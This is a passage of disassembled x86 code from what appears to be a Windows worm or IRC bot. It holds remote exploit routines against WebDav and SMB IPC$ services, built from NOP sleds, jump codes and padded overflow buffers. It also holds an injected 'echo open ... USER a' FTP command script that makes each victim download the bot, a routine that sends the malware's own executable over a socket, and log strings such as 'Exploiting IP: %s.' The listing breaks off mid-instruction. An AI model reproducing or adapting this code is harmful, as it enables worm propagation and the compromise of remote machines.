jl short loc_414E36 mov ecx, off_4310DC xor eax, eax cmp dword ptr [ecx], 52525245h setnz al dec eax loc_414E72: ; CODE XREF: sub_414DED+4Cj pop esi pop ebx leave retn sub_414DED endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 740h push ebx xor eax, eax push esi push edi lea edi, [ebp-2Ch] stosd stosd stosd stosw stosb xor eax, eax lea edi, [ebp-18h] stosd xor ebx, ebx mov [ebp-1Ch], ebx stosb call dword_422004 ; GetTickCount push eax call sub_416B24 pop ecx xor esi, esi loc_414EA8: ; CODE XREF: .text:00414EBEj call sub_416B31 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [ebp+esi-18h], dl inc esi cmp esi, 4 jl short loc_414EA8 lea eax, [ebp-18h] push eax lea eax, [ebp-2Ch] push offset dword_42BB94 push eax mov [ebp+esi-17h], bl call sub_416975 add esp, 0Ch push ebx push 1 push 2 call dword_43A3BC ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp-4], esi jz loc_4150CB lea eax, [ebp+0Ch] push eax mov word ptr [ebp-3Ch], 2 call dword_43A434 ; inet_addr push dword ptr [ebp+0BCh] mov [ebp-38h], eax call dword_43A514 ; ntohs mov [ebp-3Ah], ax push 10h lea eax, [ebp-3Ch] push eax push esi call dword_43A36C ; connect lea eax, [ebp-1Ch] push eax push 8004667Eh push esi call dword_43A354 ; ioctlsocket push esi call sub_414DED cmp eax, 0FFFFFFFFh pop ecx jz loc_4150C2 xor eax, eax mov esi, offset dword_480D78 mov ecx, 100h mov edi, esi rep stosd push 104h lea eax, [ebp-140h] push eax push ebx call dword_422010 ; GetModuleFileNameA push ebx push ebx push 3 push ebx push 1 push 80000000h lea eax, [ebp-140h] push eax call dword_422034 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-10h], eax jz loc_4150C2 push ebx push eax call dword_422094 ; GetFileSize mov ecx, off_4310DC mov dword ptr [ecx], 46445055h mov ecx, off_4310DC mov [ecx+4], eax mov edi, off_4310DC mov [ebp-8], eax lea eax, [ebp-2Ch] add edi, 8 loc_414FB6: ; CODE XREF: .text:00414FBEj mov cl, [eax] inc eax mov [edi], cl inc edi cmp cl, bl jnz short loc_414FB6 push ebx push 400h push esi push dword ptr [ebp-4] call dword_43A458 ; send push dword ptr [ebp-4] call sub_414DED cmp eax, 0FFFFFFFFh pop ecx jz loc_4150C2 cmp [ebp-8], ebx jz short loc_415063 loc_414FE7: ; CODE XREF: .text:00415061j xor eax, eax cmp dword ptr [ebp-8], 400h mov ecx, 100h lea edi, [ebp-740h] mov dword ptr [ebp-0Ch], 400h rep stosd jnb short loc_41500C mov eax, [ebp-8] mov [ebp-0Ch], eax loc_41500C: ; CODE XREF: .text:00415004j mov eax, [ebp-8] push 2 push ebx neg eax push eax push dword ptr [ebp-10h] call dword_422090 ; SetFilePointer push ebx lea eax, [ebp-1Ch] push eax push dword ptr [ebp-0Ch] lea eax, [ebp-740h] push eax push dword ptr [ebp-10h] call dword_42208C ; ReadFile push ebx push dword ptr [ebp-0Ch] lea eax, [ebp-740h] push eax push dword ptr [ebp-4] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz short loc_41505E call dword_43A47C ; WSAGetLastError cmp eax, 2733h jnz short loc_415063 xor eax, eax loc_41505E: ; CODE XREF: .text:0041504Dj sub [ebp-8], eax jnz short loc_414FE7 loc_415063: ; CODE XREF: .text:00414FE5j ; .text:0041505Aj push dword ptr [ebp-4] call sub_414DED cmp eax, 0FFFFFFFFh pop ecx jz short loc_4150C2 push dword ptr [ebp-10h] call dword_42202C ; CloseHandle xor eax, eax mov ecx, 100h mov edi, esi rep stosd mov eax, off_4310DC mov dword ptr [eax], 464E5552h lea eax, [ebp-2Ch] push eax mov eax, off_4310DC add eax, 4 push eax call sub_416975 pop ecx pop ecx push ebx push 400h push esi push dword ptr [ebp-4] call dword_43A458 ; send push dword ptr [ebp-4] call sub_414DED cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4150D2 loc_4150C2: ; CODE XREF: .text:00414F3Cj ; .text:00414F84j ... push dword ptr [ebp-4] call dword_43A4D0 ; closesocket loc_4150CB: ; CODE XREF: .text:00414EECj xor eax, eax jmp loc_415170 ; --------------------------------------------------------------------------- loc_4150D2: ; CODE XREF: .text:004150C0j push ebx push 4 xor eax, eax mov ecx, 100h mov edi, esi rep stosd mov eax, off_4310DC push esi push dword ptr [ebp-4] mov dword ptr [eax], 54495551h call dword_43A458 ; send push dword ptr [ebp-4] call dword_43A4D0 ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+0C4h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-340h] push 200h push eax call sub_416BCD add esp, 14h cmp [ebp+0D0h], ebx jnz short loc_41514F push ebx push dword ptr [ebp+0CCh] lea eax, [ebp-340h] push eax lea eax, [ebp+30h] push eax push dword ptr [ebp+8] call sub_405D62 add esp, 14h loc_41514F: ; CODE XREF: .text:00415130j lea eax, [ebp-340h] push eax call sub_401F0F mov eax, [ebp+0C4h] imul eax, 3Ch lea eax, dword_42E070[eax] inc dword ptr [eax] xor eax, eax pop ecx inc eax loc_415170: ; CODE XREF: .text:004150CDj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415175 proc near ; CODE XREF: sub_4152B5+3F8p var_5A4 = byte ptr -5A4h var_1A4 = byte ptr -1A4h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 5A4h push ebx push esi push edi xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd stosd lea eax, [ebp+arg_4] push eax mov [ebp+var_14], 2 call dword_43A434 ; inet_addr mov [ebp+var_10], eax xor eax, eax mov ax, word_4319E0 push eax call dword_43A514 ; ntohs xor ebx, ebx push ebx push 1 push 2 mov [ebp+var_12], ax call dword_43A3BC ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+var_4], esi jnz short loc_4151CE xor al, al jmp loc_4152B0 ; --------------------------------------------------------------------------- loc_4151CE: ; CODE XREF: sub_415175+50j push 10h lea eax, [ebp+var_14] push eax push esi call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz loc_4152A5 push ebx mov edi, 400h push edi lea eax, [ebp+var_5A4] push eax push esi call dword_43A324 ; recv push [ebp+arg_24] lea eax, [ebp+arg_14] push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo a"... mov esi, 190h lea eax, [ebp+var_1A4] push esi push eax call sub_416BCD lea eax, [ebp+var_1A4] add esp, 14h lea ecx, [eax+1] loc_415223: ; CODE XREF: sub_415175+B3j mov dl, [eax] inc eax cmp dl, bl jnz short loc_415223 push ebx sub eax, ecx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_4152A5 push 1F4h call dword_422000 ; Sleep push offset byte_42FD4C push offset aS_4 ; "%s\r\n" lea eax, [ebp+var_1A4] push esi push eax call sub_416BCD lea eax, [ebp+var_1A4] add esp, 10h lea edx, [eax+1] loc_415271: ; CODE XREF: sub_415175+101j mov cl, [eax] inc eax cmp cl, bl jnz short loc_415271 push ebx sub eax, edx push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_4] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_4152A5 push ebx push edi lea eax, [ebp+var_5A4] push eax push [ebp+var_4] call dword_43A324 ; recv mov bl, 1 loc_4152A5: ; CODE XREF: sub_415175+69j ; sub_415175+CCj ... push [ebp+var_4] call dword_43A4D0 ; closesocket mov al, bl loc_4152B0: ; CODE XREF: sub_415175+54j pop edi pop esi pop ebx leave retn sub_415175 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4152B5 proc near ; CODE XREF: .text:004157DCp ; .text:004157FEp var_81DC = byte ptr -81DCh var_8174 = byte ptr -8174h var_6104 = byte ptr -6104h var_6094 = byte ptr -6094h var_55D0 = byte ptr -55D0h var_402C = byte ptr -402Ch var_402B = byte ptr -402Bh var_2F98 = byte ptr -2F98h var_24D4 = byte ptr -24D4h var_24D3 = byte ptr -24D3h var_24D0 = byte ptr -24D0h var_2454 = byte ptr -2454h var_1C84 = byte ptr -1C84h var_17D9 = byte ptr -17D9h var_14EC = byte ptr -14ECh var_EAC = byte ptr -0EACh var_8D0 = byte ptr -8D0h var_830 = byte ptr -830h var_6C8 = dword ptr -6C8h var_6B8 = byte ptr -6B8h var_394 = dword ptr -394h var_390 = dword ptr -390h var_384 = byte ptr -384h var_124 = dword ptr -124h var_114 = byte ptr -114h var_FC = byte ptr -0FCh var_FB = byte ptr -0FBh var_AC = byte ptr -0ACh var_A9 = byte ptr -0A9h var_7F = byte ptr -7Fh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_34 = byte ptr -34h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_D0 = dword ptr 0D8h arg_D4 = dword ptr 0DCh push ebp mov ebp, esp mov eax, 81DCh call sub_416B90 mov eax, dword_42BC34 push ebx mov [ebp+var_C], eax mov eax, dword_42BC38 push esi mov [ebp+var_8], eax push edi lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_34] push offset aSIpc ; "\\\\%s\\ipc$" push eax call sub_416975 add esp, 0Ch xor eax, eax loc_4152EC: ; CODE XREF: sub_4152B5+4Ej mov cl, [ebp+eax+var_34] and [ebp+eax*2+var_FB], 0 mov [ebp+eax*2+var_FC], cl inc eax cmp eax, 28h jl short loc_4152EC push 18h pop ecx mov esi, offset dword_4315D8 lea edi, [ebp+var_AC] lea eax, [ebp+var_34] rep movsd lea edx, [eax+1] loc_41531B: ; CODE XREF: sub_4152B5+6Bj mov cl, [eax] inc eax test cl, cl jnz short loc_41531B sub eax, edx mov ecx, eax lea esi, [ebp+var_FC] lea edi, [ebp+var_7C] lea eax, [ebp+var_34] rep movsw lea ecx, [eax+1] loc_415338: ; CODE XREF: sub_4152B5+88j mov dl, [eax] inc eax test dl, dl jnz short loc_415338 sub eax, ecx lea edi, [ebp+eax*2+var_7D] mov esi, (offset aC_4+3) movsd movsd lea eax, [ebp+var_34] movsb lea ecx, [eax+1] loc_415353: ; CODE XREF: sub_4152B5+A3j mov dl, [eax] inc eax test dl, dl jnz short loc_415353 sub eax, ecx add al, 1Ah shl al, 1 mov [ebp+var_1], al mov [ebp+var_A9], al lea eax, [ebp+var_34] lea ecx, [eax+1] loc_41536F: ; CODE XREF: sub_4152B5+BFj mov dl, [eax] inc eax test dl, dl jnz short loc_41536F sub eax, ecx shl al, 1 add al, 9 mov [ebp+var_7F], al xor eax, eax mov ax, word_4319E0 push eax call dword_43A514 ; ntohs xor eax, 9999h cmp [ebp+arg_D4], 0 mov word_4312D0, ax mov eax, 90909090h jz loc_415481 mov ecx, 36Bh lea edi, [ebp+var_EAC] rep stosd mov eax, [ebp+arg_D4] imul eax, 3Ch mov edx, dword_431A20[eax] mov eax, offset loc_431220 mov ecx, eax mov [ebp+var_6C8], edx lea esi, [ecx+1] loc_4153D7: ; CODE XREF: sub_4152B5+127j mov bl, [ecx] inc ecx test bl, bl jnz short loc_4153D7 sub ecx, esi mov ebx, ecx shr ecx, 2 mov esi, eax lea edi, [ebp+var_6B8] rep movsd mov ecx, ebx and ecx, 3 rep movsb mov ecx, eax mov [ebp+var_394], 6EB06EBh mov [ebp+var_390], edx lea esi, [ecx+1] loc_41540B: ; CODE XREF: sub_4152B5+15Bj mov dl, [ecx] inc ecx test dl, dl jnz short loc_41540B sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp+var_384] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax loc_41542C: ; CODE XREF: sub_4152B5+193j mov cl, [ebp+eax+var_EAC] and [ebp+eax*2+var_402B], 0 mov [ebp+eax*2+var_402C], cl inc eax cmp eax, 0DACh jl short loc_41542C and [ebp+var_24D4], 0 and [ebp+var_24D3], 0 mov edx, 714h mov ecx, edx mov eax, 31313131h lea edi, [ebp+var_81DC] rep stosd stosw mov ecx, edx mov eax, 31313131h lea edi, [ebp+var_6104] rep stosd stosw jmp short loc_4154E8 ; --------------------------------------------------------------------------- loc_415481: ; CODE XREF: sub_4152B5+F0j mov ecx, 1F4h lea edi, [ebp+var_8D0] rep stosd mov eax, offset loc_431220 mov ecx, eax lea esi, [ecx+1] loc_415498: ; CODE XREF: sub_4152B5+1E8j mov dl, [ecx] inc ecx test dl, dl jnz short loc_415498 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp+var_830] rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp+var_C] rep movsb lea ecx, [eax+1] loc_4154BD: ; CODE XREF: sub_4152B5+20Dj mov dl, [eax] inc eax test dl, dl jnz short loc_4154BD sub eax, ecx mov ecx, eax shr ecx, 2 lea esi, [ebp+var_C] lea edi, [ebp+var_114] rep movsd mov ecx, eax mov eax, dword_431A20 and ecx, 3 rep movsb mov [ebp+var_124], eax loc_4154E8: ; CODE XREF: sub_4152B5+1CAj mov esi, [ebp+arg_D0] mov ecx, 38Ah mov eax, 31313131h lea edi, [ebp+var_24D0] rep stosd stosb movsx eax, [ebp+var_1] push 0 add eax, 4 push eax lea eax, [ebp+var_AC] push eax push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz short loc_415525 loc_41551E: ; CODE XREF: sub_4152B5+29Aj ; sub_4152B5+2C1j ... xor al, al jmp loc_4156BD ; --------------------------------------------------------------------------- loc_415525: ; CODE XREF: sub_4152B5+267j push 0 mov ebx, 640h push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_43A324 ; recv xor edi, edi push edi push 68h push offset dword_431640 push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_41551E push edi push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_43A324 ; recv push edi push 0A0h push offset dword_4316B0 push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_41551E push edi push ebx lea eax, [ebp+var_14EC] push eax push esi call dword_43A324 ; recv cmp [ebp+arg_D4], edi jz loc_415635 push 1Ah pop ecx mov esi, offset dword_431870 lea edi, [ebp+var_81DC] rep movsd mov ecx, 6D6h lea esi, [ebp+var_402C] lea edi, [ebp+var_8174] rep movsd movsw push 1Ch pop ecx mov esi, offset dword_4318E0 lea edi, [ebp+var_6104] rep movsd mov ecx, 297h lea esi, [ebp+var_2F98] lea edi, [ebp+var_6094] rep movsd push 21h movsw pop ecx mov esi, offset dword_431958 lea edi, [ebp+var_55D0] rep movsd xor esi, esi push esi push 10FCh lea eax, [ebp+var_81DC] push eax push [ebp+arg_D0] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_41551E push esi push ebx lea eax, [ebp+var_14EC] push eax push [ebp+arg_D0] call dword_43A324 ; recv push esi push 0FDCh lea eax, [ebp+var_6104] jmp short loc_41567C ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4152B5+2D9j push 1Fh pop ecx mov esi, offset dword_431758 lea edi, [ebp+var_24D0] rep movsd push 24h mov ecx, 1F4h lea esi, [ebp+var_8D0] lea edi, [ebp+var_2454] rep movsd pop ecx mov esi, offset off_4317D8 lea edi, [ebp+var_1C84] push 0 rep movsd and [ebp+var_17D9], 0 push 0CF8h lea eax, [ebp+var_24D0] loc_41567C: ; CODE XREF: sub_4152B5+37Ej push eax push [ebp+arg_D0] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_41551E push 12Ch call dword_422000 ; Sleep sub esp, 0D0h push 34h pop ecx lea esi, [ebp+arg_0] mov edi, esp rep movsd call sub_415175 add esp, 0D0h test al, al setnz al loc_4156BD: ; CODE XREF: sub_4152B5+26Bj pop edi pop esi pop ebx leave retn sub_4152B5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor eax, eax lea edi, [ebp-14h] stosd stosd stosd stosd lea eax, [ebp+0Ch] xor esi, esi push eax mov [ebp-4], esi mov word ptr [ebp-14h], 2 call dword_43A434 ; inet_addr push dword ptr [ebp+0BCh] mov [ebp-10h], eax call dword_43A514 ; ntohs push 6 push 1 push 2 mov [ebp-12h], ax call dword_43A3BC ; socket mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jz loc_4157BE push 10h lea eax, [ebp-14h] push eax push ebx call dword_43A36C ; connect cmp eax, edi jz loc_4157B7 push esi push 89h push offset dword_4313B8 push ebx call dword_43A458 ; send cmp eax, edi jz short loc_4157B7 push esi mov esi, 640h push esi lea eax, [ebp-854h] push eax push ebx call dword_43A324 ; recv push 0 push 0A8h push offset dword_431448 push ebx call dword_43A458 ; send cmp eax, edi jz short loc_4157B7 push 0 push esi lea eax, [ebp-854h] push eax push ebx call dword_43A324 ; recv push 0 push 0DEh push offset dword_4314F8 push ebx call dword_43A458 ; send cmp eax, edi jz short loc_4157B7 push 0 push esi lea eax, [ebp-854h] push eax push ebx call dword_43A324 ; recv movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_4157C9 dec eax jz short loc_4157C5 loc_4157B7: ; CODE XREF: .text:00415727j ; .text:00415741j ... push ebx call dword_43A4D0 ; closesocket loc_4157BE: ; CODE XREF: .text:00415712j xor eax, eax jmp loc_415888 ; --------------------------------------------------------------------------- loc_4157C5: ; CODE XREF: .text:004157B5j push 0 jmp short loc_4157ED ; --------------------------------------------------------------------------- loc_4157C9: ; CODE XREF: .text:004157B2j push 2 push ebx sub esp, 0D0h push 34h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_4152B5 add esp, 0D8h test al, al jnz short loc_41580D push 1 loc_4157ED: ; CODE XREF: .text:004157C7j push ebx sub esp, 0D0h push 34h pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_4152B5 add esp, 0D8h test al, al jz short loc_415814 loc_41580D: ; CODE XREF: .text:004157E9j mov dword ptr [ebp-4], 1 loc_415814: ; CODE XREF: .text:0041580Bj push ebx call dword_43A4D0 ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_415885 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0C4h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-214h] push 200h push eax call sub_416BCD push 0 push dword ptr [ebp+0CCh] lea eax, [ebp-214h] push eax lea eax, [ebp+30h] push eax push dword ptr [ebp+8] call sub_405D62 lea eax, [ebp-214h] push eax call sub_401F0F mov eax, [ebp+0C4h] imul eax, 3Ch lea eax, dword_42E070[eax] add esp, 2Ch inc dword ptr [eax] loc_415885: ; CODE XREF: .text:0041581Fj xor eax, eax inc eax loc_415888: ; CODE XREF: .text:004157C0j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 8590h call sub_416B90 mov eax, dword_42BC34 push ebx push esi mov [ebp-0Ch], eax mov eax, dword_42BC38 push edi mov [ebp-8], eax lea eax, [ebp+0Ch] push 1 push eax call sub_40402D test eax, eax pop ecx pop ecx jz loc_415E75 cmp eax, 1 jz loc_415E75 cmp eax, 3 jnz short loc_4158D6 and dword ptr [ebp-10h], 0 jmp short loc_4158EA ; --------------------------------------------------------------------------- loc_4158D6: ; CODE XREF: .text:004158CEj call sub_416B31 push 0Ah cdq pop ecx idiv ecx neg edx sbb edx, edx inc edx inc edx mov [ebp-10h], edx loc_4158EA: ; CODE XREF: .text:004158D4j lea eax, [ebp+0Ch] push eax push offset aSIpc ; "\\\\%s\\ipc$" lea eax, [ebp-58h] push 28h push eax call sub_416BCD add esp, 10h xor eax, eax loc_415903: ; CODE XREF: .text:0041591Aj mov cl, [ebp+eax-58h] and byte ptr [ebp+eax*2-11Fh], 0 mov [ebp+eax*2-120h], cl inc eax cmp eax, 28h jl short loc_415903 push 18h pop ecx mov esi, offset dword_431E90 lea edi, [ebp-0D0h] lea eax, [ebp-58h] rep movsd lea edx, [eax+1] loc_415932: ; CODE XREF: .text:00415937j mov cl, [eax] inc eax test cl, cl jnz short loc_415932 sub eax, edx mov ecx, eax lea esi, [ebp-120h] lea edi, [ebp-0A0h] lea eax, [ebp-58h] rep movsw lea ecx, [eax+1] loc_415952: ; CODE XREF: .text:00415957j mov dl, [eax] inc eax test dl, dl jnz short loc_415952 sub eax, ecx lea edi, [ebp+eax*2-0A1h] mov esi, (offset aC_5+3) movsd movsd lea eax, [ebp-58h] movsb lea ecx, [eax+1] loc_415970: ; CODE XREF: .text:00415975j mov dl, [eax] inc eax test dl, dl jnz short loc_415970 sub eax, ecx add al, 1Ah shl al, 1 mov [ebp-1], al mov [ebp-0CDh], al lea eax, [ebp-58h] lea ecx, [eax+1] loc_41598C: ; CODE XREF: .text:00415991j mov dl, [eax] inc eax test dl, dl jnz short loc_41598C sub eax, ecx shl al, 1 add al, 9 push 135h mov [ebp-0A3h], al call dword_43A514 ; ntohs mov ebx, [ebp-10h] xor eax, 9999h cmp ebx, 1 mov word_431B88, ax jz short loc_415A37 cmp ebx, 2 jz short loc_415A37 mov eax, 90909090h mov ecx, 1F4h lea edi, [ebp-12C4h] rep stosd mov eax, offset loc_431AD8 mov ecx, eax lea esi, [ecx+1] loc_4159DE: ; CODE XREF: .text:004159E3j mov dl, [ecx] inc ecx test dl, dl jnz short loc_4159DE sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp-1224h] rep movsd mov ecx, eax and ecx, 3 lea eax, [ebp-0Ch] rep movsb lea ecx, [eax+1] loc_415A03: ; CODE XREF: .text:00415A08j mov dl, [eax] inc eax test dl, dl jnz short loc_415A03 sub eax, ecx mov ecx, eax shr ecx, 2 lea esi, [ebp-0Ch] lea edi, [ebp-0B08h] rep movsd mov ecx, eax and ecx, 3 imul ebx, 3Ch mov eax, dword_4322D0[ebx] rep movsb mov [ebp-0B18h], eax jmp loc_415B09 ; --------------------------------------------------------------------------- loc_415A37: ; CODE XREF: .text:004159BBj ; .text:004159C0j imul ebx, 3Ch mov edx, dword_4322D0[ebx] mov eax, 90909090h mov ecx, 36Bh lea edi, [ebp-18A0h] rep stosd mov eax, offset loc_431AD8 mov ecx, eax mov [ebp-10BCh], edx lea esi, [ecx+1] loc_415A62: ; CODE XREF: .text:00415A67j mov bl, [ecx] inc ecx test bl, bl jnz short loc_415A62 sub ecx, esi mov ebx, ecx shr ecx, 2 mov esi, eax lea edi, [ebp-10ACh] rep movsd mov ecx, ebx and ecx, 3 rep movsb mov ecx, eax mov dword ptr [ebp-0D88h], 6EB06EBh mov [ebp-0D84h], edx lea esi, [ecx+1] loc_415A96: ; CODE XREF: .text:00415A9Bj mov dl, [ecx] inc ecx test dl, dl jnz short loc_415A96 sub ecx, esi mov esi, eax mov eax, ecx shr ecx, 2 lea edi, [ebp-0D78h] rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax loc_415AB7: ; CODE XREF: .text:00415AD3j mov cl, [ebp+eax-18A0h] and byte ptr [ebp+eax*2-43DFh], 0 mov [ebp+eax*2-43E0h], cl inc eax cmp eax, 0DACh jl short loc_415AB7 and byte ptr [ebp-2888h], 0 and byte ptr [ebp-2887h], 0 mov edx, 714h mov esi, 31313131h mov ecx, edx mov eax, esi lea edi, [ebp-8590h] rep stosd stosw mov ecx, edx mov eax, esi lea edi, [ebp-64B8h] rep stosd stosw loc_415B09: ; CODE XREF: .text:00415A32j mov ecx, 38Ah mov eax, 31313131h lea edi, [ebp-2884h] rep stosd xor ebx, ebx push ebx push 1 push 2 stosb call dword_43A3BC ; socket mov esi, eax xor eax, eax cmp esi, 0FFFFFFFFh mov [ebp-8], esi jz loc_415E77 push dword ptr [ebp+0BCh] lea edi, [ebp-30h] stosd stosd stosd stosd mov word ptr [ebp-30h], 2 call dword_43A514 ; ntohs mov [ebp-2Eh], ax lea eax, [ebp+0Ch] push eax call dword_43A434 ; inet_addr mov [ebp-2Ch], eax push 10h lea eax, [ebp-30h] push eax push esi call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jz loc_415E6E push ebx push 89h push offset dword_431C70 push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_415E6E push ebx mov ebx, 640h push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv xor edi, edi push edi push 0A8h push offset dword_431D00 push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_415E6E push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv push edi push 0DEh push offset dword_431DB0 push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_415E6E push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv movsx eax, byte ptr [ebp-1] push edi add eax, 4 push eax lea eax, [ebp-0D0h] push eax push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_415E6E push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv push edi push 68h push offset dword_431EF8 push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_415E6E push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv push edi push 0A0h push offset dword_431F68 push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_415E6E push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv cmp dword ptr [ebp-10h], 1 jz short loc_415CF2 cmp dword ptr [ebp-10h], 2 jz short loc_415CF2 push 1Fh pop ecx mov esi, offset dword_432010 lea edi, [ebp-2884h] rep movsd push 24h mov ecx, 1F4h lea esi, [ebp-12C4h] lea edi, [ebp-2808h] rep movsd pop ecx push 0 push 0CF8h lea eax, [ebp-2884h] mov esi, offset off_432090 lea edi, [ebp-2038h] push eax push dword ptr [ebp-8] rep movsd and byte ptr [ebp-1B8Dh], 0 loc_415CDB: ; CODE XREF: .text:00415D8Cj call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz loc_415D91 loc_415CEA: ; CODE XREF: .text:00415DB5j push dword ptr [ebp-8] jmp loc_415E6F ; --------------------------------------------------------------------------- loc_415CF2: ; CODE XREF: .text:00415C88j ; .text:00415C8Ej push 1Ah pop ecx mov esi, offset dword_432128 lea edi, [ebp-8590h] rep movsd mov ecx, 6D6h lea esi, [ebp-43E0h] lea edi, [ebp-8528h] rep movsd movsw push 1Ch pop ecx mov esi, offset dword_432198 lea edi, [ebp-64B8h] rep movsd mov ecx, 297h lea esi, [ebp-334Ch] lea edi, [ebp-6448h] rep movsd push 21h movsw pop ecx mov esi, offset dword_432210 lea edi, [ebp-5984h] rep movsd mov esi, [ebp-8] xor edi, edi push edi push 10FCh lea eax, [ebp-8590h] push eax push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz loc_415E6E push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv push edi push 0FDCh lea eax, [ebp-64B8h] push eax push esi jmp loc_415CDB ; --------------------------------------------------------------------------- loc_415D91: ; CODE XREF: .text:00415CE4j push 0 push ebx lea eax, [ebp-0AF0h] push eax push dword ptr [ebp-8] call dword_43A324 ; recv push 6 push 1 push 2 call dword_43A3BC ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_415CEA xor eax, eax lea edi, [ebp-20h] stosd stosd stosd stosd push 135h mov word ptr [ebp-20h], 2 call dword_43A514 ; ntohs mov [ebp-1Eh], ax lea eax, [ebp+0Ch] push eax call dword_43A434 ; inet_addr mov [ebp-1Ch], eax push 10h lea eax, [ebp-20h] push eax push esi call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jnz short loc_415DFD push dword ptr [ebp-8] jmp short loc_415E68 ; --------------------------------------------------------------------------- loc_415DFD: ; CODE XREF: .text:00415DF6j xor edi, edi push edi push ebx lea eax, [ebp-0AF0h] push eax push esi call dword_43A324 ; recv test eax, eax jle short loc_415E75 push 1F4h call dword_422000 ; Sleep push dword ptr [ebp+2Ch] lea eax, [ebp+1Ch] push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo a"... lea eax, [ebp-2B0h] push 190h push eax call sub_416BCD lea eax, [ebp-2B0h] add esp, 14h lea edx, [eax+1] loc_415E47: ; CODE XREF: .text:00415E4Cj mov cl, [eax] inc eax test cl, cl jnz short loc_415E47 push edi sub eax, edx push eax lea eax, [ebp-2B0h] push eax push esi call dword_43A458 ; send cmp eax, 0FFFFFFFFh push dword ptr [ebp-8] jnz short loc_415E7C loc_415E68: ; CODE XREF: .text:00415DFBj call dword_43A4D0 ; closesocket loc_415E6E: ; CODE XREF: .text:00415B73j ; .text:00415B8Ej ... push esi loc_415E6F: ; CODE XREF: .text:00415CEDj call dword_43A4D0 ; closesocket loc_415E75: ; CODE XREF: .text:004158BCj ; .text:004158C5j ... xor eax, eax loc_415E77: ; CODE XREF: .text:00415B33j ; .text:00415EFBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_415E7C: ; CODE XREF: .text:00415E66j call dword_43A4D0 ; closesocket push esi call dword_43A4D0 ; closesocket lea eax, [ebp+0Ch] push eax mov eax, [ebp+0C4h] imul eax, 3Ch add eax, offset aWebdav_0 ; "WebDav" push eax push offset aSTryingToXploi ; "[%s]: Trying to Xploit IP: %s." lea eax, [ebp-4B0h] push 200h push eax call sub_416BCD add esp, 14h cmp [ebp+0D0h], edi jnz short loc_415EDA push edi push dword 